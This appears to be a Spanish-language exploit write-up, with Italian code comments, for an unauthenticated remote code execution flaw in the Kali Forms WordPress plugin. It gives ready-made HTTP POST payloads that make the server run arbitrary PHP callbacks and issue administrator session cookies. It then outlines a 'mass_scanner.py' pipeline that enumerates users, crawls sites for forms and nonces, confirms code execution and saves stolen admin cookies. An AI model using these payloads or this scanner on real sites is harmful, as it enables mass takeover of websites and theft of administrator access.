
🔥 Resumen de la Vulnerabilidad
El plugin de WordPress Kali Forms versiones <= 2.4.9 presenta una vulnerabilidad crítica de ejecución remota de código no autenticado (RCE). Esta falla permite a los atacantes no autenticados ejecutar código PHP arbitrario en el servidor y obtener privilegios de administrador completo a través del endpoint AJAX kaliforms_form_process expuesto públicamente sin controles de autorización.
La vulnerabilidad reside en la función form_process que acepta parámetros controlados por el usuario (incluidos thisPermalink y entryCounter) y ejecuta callbacks PHP arbitrarios, lo que conduce a:
phpinfo(), system(), eval(), etc.wp_set_auth_cookie() para obtener sesiones administrativasLa vulnerabilidad se manifiesta en la función form_process del plugin Kali Forms que gestiona las peticiones AJAX. El código vulnerable está expuesto a través de:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
Flujo del Exploit:
Endpoint No Protegido: El endpoint /wp-admin/admin-ajax.php?action=kaliforms_form_process es accesible para usuarios no autenticados a través del hook wp_ajax_nopriv_.
Parámetros Controlables por el Usuario:
data[thisPermalink] - puede contener nombre de función PHP arbitrariadata[entryCounter] - puede contener nombre de función PHP arbitrariadata[formId] - ID del formulario a procesarEjecución de Callbacks Sin Filtrar: El código vulnerable ejecuta callbacks PHP sin validación:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
Cadena de Explotación:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
Ejemplo de Petición Vulnerable:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
Resultado: El servidor ejecuta phpinfo() y devuelve información completa sobre la configuración PHP.
Para Escalada de Privilegios:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
Resultado: WordPress ejecuta wp_set_auth_cookie(user_id) donde user_id corresponde a menudo a formId, generando cookies de sesión de administrador válidas.
El mass_scanner.py implementa una pipeline automatizada en 4 fases para la explotación completa de la vulnerabilidad CVE-2026-3584:
┌────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ MASS SCANNER PIPELINE │
├──────────────────────────────────────────────────────────────────────────────────────────────────────────────¤
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└───────────────────────────────────────────────────────────────── ┘
1. Normalización Automática de URL
def normalize_url(self, target):
# Aggiunge automaticamente http:// o https://
# Prova prima HTTPS, poi fallback su HTTP
# Gestisce porte personalizzate (es. :8080)
2. Enumeración de API REST
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Estrae tutti gli user_id disponibili
# Usato per mappare formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Estrae tutti i post_id disponibili
# Identifica sovrapposizioni user_id/post_id
3. Descubrimiento de Formularios (Crawling Inteligente)
def discover_pages(self, target, max_depth=2):
# Crawl ricorsivo del sito
# Cerca pattern JavaScript: 'KaliFormsObject'
# Filtra URL non necessari (js, css, immagini)
# Segue solo link interni
# Ritorna lista pagine con Kali Forms